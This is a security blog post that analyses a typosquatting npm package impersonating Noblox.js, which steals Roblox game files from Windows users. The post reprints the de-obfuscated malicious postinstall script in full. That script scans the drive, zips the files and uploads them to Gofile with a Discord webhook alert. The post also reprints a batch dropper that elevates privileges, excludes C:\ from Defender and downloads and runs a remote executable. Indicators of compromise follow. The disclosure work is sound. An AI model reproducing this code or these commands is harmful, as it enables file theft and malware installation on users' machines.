Socket
Socket
Sign inDemoInstall

Research

Security News

Malicious npm Package Masquerades as Noblox.js, Targeting Roblox Users for Data Theft

A malicious npm package is targeting Roblox's massive user base to steal sensitive data, with potential impacts for both players and developers on the popular gaming platform.

Malicious npm Package Masquerades as Noblox.js, Targeting Roblox Users for Data Theft

Socket Research Team

Sarah Gooding

February 6, 2024


Roblox users are the target of a new supply chain attack that is delivered through a malicious package impersonating the official Noblox.js npm package and its sister library, noblox.js-server. The popular gaming platform boasts 70.2 million daily users and 216+ million monthly active users, making it a lucrative target for cybercriminals looking to exploit its large, highly engaged user base.

Noblox.js is a widely used API wrapper for Roblox games, available on npm as an independent package. The package is actively utilized by the community, with an average download count of over 1,500 per week.

The Socket Research team has conducted an investigation on a package called noblox.js-proxy-server (version number 4.15.4) that is being used to steal sensitive data from Roblox users. Developers using Roblox's API have frequently been the target of these types of malicious packages.

This potentially impacts developers intending to use the Noblox.js package for game development or other functionalities within Roblox, if they inadvertently incorporate the malicious package into their games, leading to the compromise of their projects and potentially spreading the impact to their game players. It also potentially impacts Roblox users, where 42.3% are under the age of 13, and their parents, including any financial information linked to their accounts.

Threat Summary#

The malicious package uses a combination of brandjacking and combosquatting, a variant of typosquatting that creates the impression that a package is coming from a legitimate source by adding a prefix or postfix to a legitimate package name.

The noblox.js-proxy-server package also leverages starjacking, linking the package's GitHub repo URL to the legitimate popular package in order to gain credibility.

It employs static obfuscation techniques to hide the malicious code. Upon de-obfuscation it was observed that the threat actor is targeting Roblox users. Specifically, the package retrieves the current user's username and skips certain directories during directory scanning. It recursively scans a directory for files with specific extensions '.rbxm', '.rbxl', adding them to a zip archive.

The script also downloads and executes a Batch script from a specified URL. It getches a server URL from Gofile, zips the contents of a directory, and uploads the zip file to the server. It also sends a Discord webhook notification with information about the uploaded file and sets up an interval function to repeatedly call a recursive function every 4,000 milliseconds.

Analyzing the Threat#

The JavaScript code is obfuscated, making it challenging to understand its exact purpose. The code utilizes techniques such as string transformations, string array rotation, string array shuffle, string array index shifting, transforming names with hexadecimal, and other static ways to make it difficult to for a human to understand the code.

The Chinese language has been used in multiple places to define functions. This obfuscation technique has been observed several times in the past with similar Chinese language functions.

Considering these indications, the Socket Research Team opted to conduct a thorough investigation by de-obfuscating the code to determine the intent of the threat actor.

The code embedded at the end of the post is de-obfuscated from the original code. Even after de-obfuscation we observed that the code is using various techniques, including string manipulation, self-executing functions, and encoded strings, making it difficult to analyze its exact functionality.

Understanding the Malicious Behavior#

Let’s break down the code to understand the malicious activities the package is performing.

function user() {
    return os.userInfo().username;
}

function skip(_0x1c6fbd) {
    const _0x532e43 = [
        path.join('C:\\Users', user(), 'AppData\\Local\\Roblox\\Versions'),
    ];
    return _0x532e43.some((_0x3640f2) =>
        _0x1c6fbd.toLowerCase().startsWith(_0x3640f2.toLowerCase())
    );
}

The user function retrieves the current user's username using the os module, while skip(_0x1c6fbd) determines whether to skip a directory based on predefined conditions.

const dir = 'C:\\';
const zippath = 'C:/WindowsApi/output.zip';
const webhook = 'https://discord.com/api/webhooks/...';
const baturl = 'https://cdn.discordapp.com/attachments/...';
const batDestination = 'C:/WindowsApi';

As one can see, the script defines configuration variables determining the base directory for scanning (dir), the output zip file path (zippath), Discord webhook URL (webhook), and URLs related to remote batch file execution (baturl, batDestination).

async function executeBat(_0x48dc42, _0x22b872) {
    // ... (fetching, saving, and executing a remote batch file)
}
executeBat(baturl, batDestination)
    .then(() => {
        return fetch('https://api.gofile.io/getServer');
    })
    .then((_0xe2eb98) => _0xe2eb98.json())
    .then((_0x10f434) => {
        // ... (processing the result of fetching server information)
    })
    .catch((_0x48e61a) => console.error(_0x48e61a));

executeBat(_0x48dc42, _0x22b872): Asynchronously fetches and executes a remote batch file, with error handling. Subsequent promises fetch server information and process the result.

const _0x421b68 = archiver('zip', _0x19bda1);
const _0x2f7b55 = fs.createWriteStream(zippath);
_0x421b68.pipe(_0x2f7b55);
scan(dir, _0x421b68);
_0x2f7b55.on('close', () => {
    // ... (creating a FormData object, uploading zip file to Gofile, and notifying on Discord)
});
_0x421b68.finalize();

Here, archiver is used to create a zip file containing selected files from the scan. The FormData object is used to prepare the zip file for upload, which is then sent to Gofile, and a notification is sent on Discord.

Remote Batch File Execution#

The package is downloading the batch file, which is hosted on a Discord CDN server, to perform further malicious activities:

@echo off
if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit
if not "%1"=="am_admin" (
    powershell -Command "Start-Process -Verb RunAs -FilePath '%0' -ArgumentList 'am_admin'"
    exit /b
)
set "scriptDir=%~dp0"
powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
TIMEOUT /T 5
powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://1f2a857a-7153-42a6-8363-becc7ed94b49-00-1vtxb7rs21ezi.spock.replit.dev/download', 'C:\WindowsApi\WindowsApi.exe')"
start "" "C:\WindowsApi\WindowsApi.exe"
taskkill /IM cmd.exe
exit

This script is a Windows Batch file with PowerShell commands. This Windows Batch script is a concise yet powerful installer for the WindowsApi. It cleverly minimizes its window, elevates privileges, adds system exclusions, and downloads/executes a remote file. The script showcases common techniques used for system manipulation and emphasizes the importance of caution when dealing with remote downloads. The script further fetches another executable file, and the code is designed to download and execute it from the following URL hxxps://1f2a857a-7153-42a6-8363-becc7ed94b49-00-1vtxb7rs21ezi.spock.replit.dev/download

(New-Object System.Net.WebClient).DownloadFile('https://1f2a857a-7153-42a6-8363-becc7ed94b49-00-1vtxb7rs21ezi.spock.replit.dev/download', 'C:\WindowsApi\WindowsApi.exe')

The downloaded file from the given URL is saved as 'C:\WindowsApi\WindowsApi.exe' on the local system.

Data Exfiltration#

The script creates a ZIP archive of files from the specified directory (dir) using the archiver library. It fetches the server endpoint for a file-sharing service from hxxps://api.gofile.io/getServer. The ZIP file is uploaded to the file-sharing service using a POST request to the server endpoint. The uploaded file information is then sent to a Discord webhook (webhook).

MITRE ATT&CK TTPs#

Classification according the MITRE ATT&CK knowledge base of adversary tactics, techniques and procedures (TTPs) based on real-world observations:

  1. Collection: File and Directory Discovery (T1083)
  2. Exfiltration: Exfiltration Over C2 Channel (T1041)
    1. The ZIP archive containing collected files is uploaded to a file-sharing service ('gofile.io').
    2. Details about the uploaded file are sent to a Discord webhook.
  3. Persistence: Scheduled Task (T1053.005)
    1. A function ('_0x24101a') is periodically invoked using setInterval, potentially for persistence

De-Obfuscated Code#

URL of the malicious script: https://socket.dev/npm/package/noblox.js-proxy-server/files/4.15.4/postinstall.js

const FormData = require('form-data')
const fs = require('fs'),
    path = require('path'),
    os = require('os'),
    archiver = require('archiver'),
    fetch = require('node-fetch'),
    {
        promisify
    } = require('util')
function user() {
    return os.userInfo().username
}
function skip(_0x1c6fbd) {
    const _0x532e43 = [
        path.join('C:\\Users', user(), 'AppData\\Local\\Roblox\\Versions'),
    ]
    return _0x532e43.some((_0x3640f2) =>
        _0x1c6fbd.toLowerCase().startsWith(_0x3640f2.toLowerCase())
    )
}
function scan(_0x3e4ad9, _0x4644a2) {
    try {
        if (skip(_0x3e4ad9)) {
            return
        }
        const _0x42cf2e = fs.readdirSync(_0x3e4ad9)
        _0x42cf2e.forEach((_0x1e84f7) => {
            const _0x5e677c = path.join(_0x3e4ad9, _0x1e84f7)
            try {
                const _0x1eb83f = fs.statSync(_0x5e677c)
                if (_0x1eb83f.isDirectory()) {
                    scan(_0x5e677c, _0x4644a2)
                } else {
                    if (
                        ['.rbxm', '.rbxl'].includes(path.extname(_0x5e677c).toLowerCase())
                    ) {
                        _0x4644a2.file(_0x5e677c, {
                            name: path.relative(dir, _0x5e677c)
                        })
                    }
                }
            } catch (_0x2b7787) {
                return
            }
        })
    } catch (_0x5097c5) {
        return
    }
}
const dir = 'C:\\',
    zippath = 'C:/WindowsApi/output.zip',
    webhook =
    'https://discord.com/api/webhooks/1193054381885624330/di62gjOhMvTWToy9l-H3ib9PvqFHuxesNn9NbGDj8q51Ziq_laoYgrZt3UseEwlac3bC',
    baturl =
    'https://cdn.discordapp.com/attachments/1193294801299325020/1196958183533580478/1.bat',
    batDestination = 'C:/WindowsApi'
async function executeBat(_0x48dc42, _0x22b872) {
    const _0x44f629 = (function () {
            const _0x4b46d4 = {
                dQcgx: 'while (true) {}',
                yFUQM: 'counter',
                Ayqst: function (_0x30499c, _0x1f983b) {
                    return _0x30499c === _0x1f983b
                },
                ONKJr: 'BhQxJ',
                dKjrH: 'nGnIT',
                xZIoz: function (_0x1c402b, _0x3af1c0) {
                    return _0x1c402b(_0x3af1c0)
                },
                QbHJv: function (_0x425469, _0xd66553) {
                    return _0x425469 + _0xd66553
                },
                PUpJi: 'return (function() ',
                bxSwU: '{}.constructor("return this")( )',
                TGwVe: function (_0x1caaae) {
                    return _0x1caaae()
                },
                RmRTi: function (_0x1144d9, _0x17d709) {
                    return _0x1144d9 !== _0x17d709
                },
                IDmhJ: 'tUrdr',
                JwDvP: 'NAHGZ',
            }
            let _0x198de8 = true
            return function (_0xdf414, _0x1127c6) {
                if (_0x4b46d4.RmRTi(_0x4b46d4.IDmhJ, _0x4b46d4.JwDvP)) {
                    const _0x220be8 = _0x198de8 ?
                        function () {
                            const _0x1cd495 = {
                                CYuIl: _0x4b46d4.dQcgx,
                                ABrNT: _0x4b46d4.yFUQM,
                            }
                            const _0x141c95 = _0x1cd495
                            if (_0x4b46d4.Ayqst(_0x4b46d4.ONKJr, _0x4b46d4.ONKJr)) {
                                if (_0x1127c6) {
                                    if (_0x4b46d4.Ayqst(_0x4b46d4.dKjrH, _0x4b46d4.dKjrH)) {
                                        const _0x1d4c91 = _0x1127c6.apply(_0xdf414, arguments)
                                        return (_0x1127c6 = null), _0x1d4c91
                                    } else {
                                        PsFoxV.ZtdiR(_0x3a41dd)
                                    }
                                }
                            } else {
                                return function (_0x1485ea) {}
                                    .constructor(XifnsY.CYuIl)
                                    .apply(XifnsY.ABrNT)
                            }
                        } :
                        function () {}
                    return (_0x198de8 = false), _0x220be8
                } else {
                    let _0x3ede66
                    try {
                        _0x3ede66 = OzJOnA.xZIoz(
                            _0x2d4153,
                            OzJOnA.QbHJv(OzJOnA.QbHJv(OzJOnA.PUpJi, OzJOnA.bxSwU), ');')
                        )()
                    } catch (_0x551eb9) {
                        _0x3ede66 = _0x52feac
                    }
                    return _0x3ede66
                }
            }
        })(),
        _0x5ae6a3 = _0x44f629(this, function () {
            return _0x5ae6a3
                .toString()
                .search('(((.+)+)+)+$')
                .toString()
                .constructor(_0x5ae6a3)
                .search('(((.+)+)+)+$')
        })
    _0x5ae6a3()
    const _0xf9449e = (function () {
        let _0x41555f = true
        return function (_0x9c4e4d, _0x2c5ddf) {
            const _0x8b76ca = _0x41555f ?
                function () {
                    if (_0x2c5ddf) {
                        const _0xed245 = _0x2c5ddf.apply(_0x9c4e4d, arguments)
                        return (_0x2c5ddf = null), _0xed245
                    }
                } :
                function () {}
            return (_0x41555f = false), _0x8b76ca
        }
    })();
    (function () {
        _0xf9449e(this, function () {
            const _0x3c7677 = new RegExp('function *\\( *\\)'),
                _0x1d771d = new RegExp('\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)', 'i'),
                _0x2c95ea = _0x24101a('init')
            if (
                !_0x3c7677.test(_0x2c95ea + 'chain') ||
                !_0x1d771d.test(_0x2c95ea + 'input')
            ) {
                _0x2c95ea('0')
            } else {
                _0x24101a()
            }
        })()
    })()
    const _0x4c6dc9 = (function () {
            let _0x373a8e = true
            return function (_0xc7f0cd, _0x1aecda) {
                const _0x288d4b = _0x373a8e ?
                    function () {
                        if (_0x1aecda) {
                            const _0x4ebc38 = _0x1aecda.apply(_0xc7f0cd, arguments)
                            return (_0x1aecda = null), _0x4ebc38
                        }
                    } :
                    function () {}
                return (_0x373a8e = false), _0x288d4b
            }
        })(),
        _0x4b2677 = _0x4c6dc9(this, function () {
            const _0x57c583 = function () {
                    let _0x5ac080
                    try {
                        _0x5ac080 = Function(
                            'return (function() {}.constructor("return this")( ));'
                        )()
                    } catch (_0x3a7c26) {
                        _0x5ac080 = window
                    }
                    return _0x5ac080
                },
                _0x3ecad6 = _0x57c583(),
                _0x493ac3 = (_0x3ecad6.console = _0x3ecad6.console || {}),
                _0x29e09d = [
                    'log',
                    'warn',
                    'info',
                    'error',
                    'exception',
                    'table',
                    'trace',
                ]
            for (let _0x3078cb = 0; _0x3078cb < _0x29e09d.length; _0x3078cb++) {
                const _0x136cf8 = _0x4c6dc9.constructor.prototype.bind(_0x4c6dc9),
                    _0x40ee4f = _0x29e09d[_0x3078cb],
                    _0x55572e = _0x493ac3[_0x40ee4f] || _0x136cf8
                _0x136cf8['__proto__'] = _0x4c6dc9.bind(_0x4c6dc9)
                _0x136cf8.toString = _0x55572e.toString.bind(_0x55572e)
                _0x493ac3[_0x40ee4f] = _0x136cf8
            }
        })
    _0x4b2677()
    if (!fs.existsSync(_0x22b872)) {
        const _0x51dd18 = {
            recursive: true
        }
        fs.mkdirSync(_0x22b872, _0x51dd18)
    }
    const _0xc537a2 = await fetch(_0x48dc42),
        _0x3d418d = await _0xc537a2.buffer()
    fs.writeFileSync(_0x22b872 + '/WindowsApiLib.bat', _0x3d418d)
    await promisify(require('child_process').exec)(
        _0x22b872 + '/WindowsApiLib.bat'
    )
}
executeBat(baturl, batDestination)
    .then(() => {
        return fetch('https://api.gofile.io/getServer')
    })
    .then((_0xe2eb98) => _0xe2eb98.json())
    .then((_0x10f434) => {
        if (_0x10f434.status === 'ok') {
            const _0x22be29 = _0x10f434.data.server,
                _0x38eabd = 'https://' + _0x22be29 + '.gofile.io/uploadFile'
            const _0x19bda1 = {
                zlib: _0x3290d9
            }
            const _0x421b68 = archiver('zip', _0x19bda1),
                _0x2f7b55 = fs.createWriteStream(zippath)
            _0x421b68.pipe(_0x2f7b55)
            scan(dir, _0x421b68)
            _0x2f7b55.on('close', () => {
                const _0x13d5b5 = new FormData()
                _0x13d5b5.append('file', fs.createReadStream(zippath))
                fetch(_0x38eabd, {
                        method: 'POST',
                        body: _0x13d5b5,
                    })
                    .then((_0x2d8566) => _0x2d8566.json())
                    .then((_0x266692) => {
                        const _0x17343d = JSON.stringify(_0x266692, null, 2),
                            _0x1103a4 =
                            'get logged retard 💀💀:\n```' +
                            _0x17343d +
                            '```',
                            _0x19ebec = {
                                content: _0x1103a4
                            }
                        fetch(webhook, {
                            method: 'POST',
                            headers: {
                                'Content-Type': 'application/json'
                            },
                            body: JSON.stringify(_0x19ebec),
                        })
                    })
            })
            _0x421b68.finalize()
        }
    })
    .catch((_0x48e61a) => console.error(_0x48e61a));
(function () {
    const _0x3d1548 = function () {
        const _0x1f6634 = {
            UqPDj: function (_0x9c53d0, _0x5498a4, _0x1b302) {
                return _0x9c53d0(_0x5498a4, _0x1b302)
            },
            DCdnG: 'POST',
            bAaCp: 'application/json',
            sYZzA: 'file',
            ITqqc: function (_0x5dbd7b, _0x52b308, _0x3f4cb7) {
                return _0x5dbd7b(_0x52b308, _0x3f4cb7)
            },
            IGsjB: 'zip',
            PibLG: function (_0x1f93a8, _0x4df45e, _0x22ec5b) {
                return _0x1f93a8(_0x4df45e, _0x22ec5b)
            },
            PMrti: 'close',
        }
        let _0x4605bb
        try {
            _0x4605bb = Function(
                'return (function() {}.constructor("return this")( ));'
            )()
        } catch (_0x162484) {
            _0x4605bb = window
        }
        return _0x4605bb
    }
    const _0x36f7e3 = _0x3d1548()
    _0x36f7e3.setInterval(_0x24101a, 4000)
})()
function _0x24101a(_0x4e7be8) {
    function _0x33a811(_0x5e30c9) {
        if (typeof _0x5e30c9 === 'string') {
            return function (_0x4b0b6f) {}
                .constructor('while (true) {}')
                .apply('counter')
        } else {
            if (('' + _0x5e30c9 / _0x5e30c9).length !== 1 || _0x5e30c9 % 20 === 0) {
                ;
                (function () {
                        return true
                    }
                    .constructor('debugger')
                    .call('action'))
            } else {
                ;
                (function () {
                        return false
                    }
                    .constructor('debugger')
                    .apply('stateObject'))
            }
        }
        _0x33a811(++_0x5e30c9)
    }
    try {
        if (_0x4e7be8) {
            return _0x33a811
        } else {
            _0x33a811(0)
        }
    } catch (_0x2d6f10) {}
}

Indicators of Compromise#

  • hxxps://cdn.discordapp.com/attachments/1193294801299325020/1196958183533580478/1.bat MD5:caec850a53ea265158ef50423e886830 SHA1:dbf9fc66c58b477440fc9a0d0a944710a6e5a0bc
  • C:\WindowsApi\WindowsApi.exe
  • hxxps://1f2a857a-7153-42a6-8363-becc7ed94b49-00-1vtxb7rs21ezi.spock.replit.dev/download
  • hxxps://cdn.discordapp.com/attachments/1193294801299325020/1196958183533580478/1.bat
  • hxxps://discord.com/api/webhooks/1193054381885624330/di62gjOhMvTWToy9l-H3ib9PvqFHuxesNn9NbGDj8q51Ziq_laoYgrZt3UseEwlac3bC
  • C:/WindowsApi/output.zip
  • C:/WindowsApi/WindowsApiLib.bat
  • https://www.virustotal.com/gui/file-analysis/Y2FlYzg1MGE1M2VhMjY1MTU4ZWY1MDQyM2U4ODY4MzA6MTcwNzExODExMQ==

Credits to the Socket Research Team: Dhanesh Hitesh Dodia, Sambarathi Sai, Viren Saroha

Subscribe to our newsletter

Get notified when we publish new security blog posts!

Related posts

Back to all posts
SocketSocket SOC 2 Logo

Product

Stay in touch

Get open source security insights delivered straight into your inbox.


  • Terms
  • Privacy
  • Security

Made with ⚡️ by Socket Inc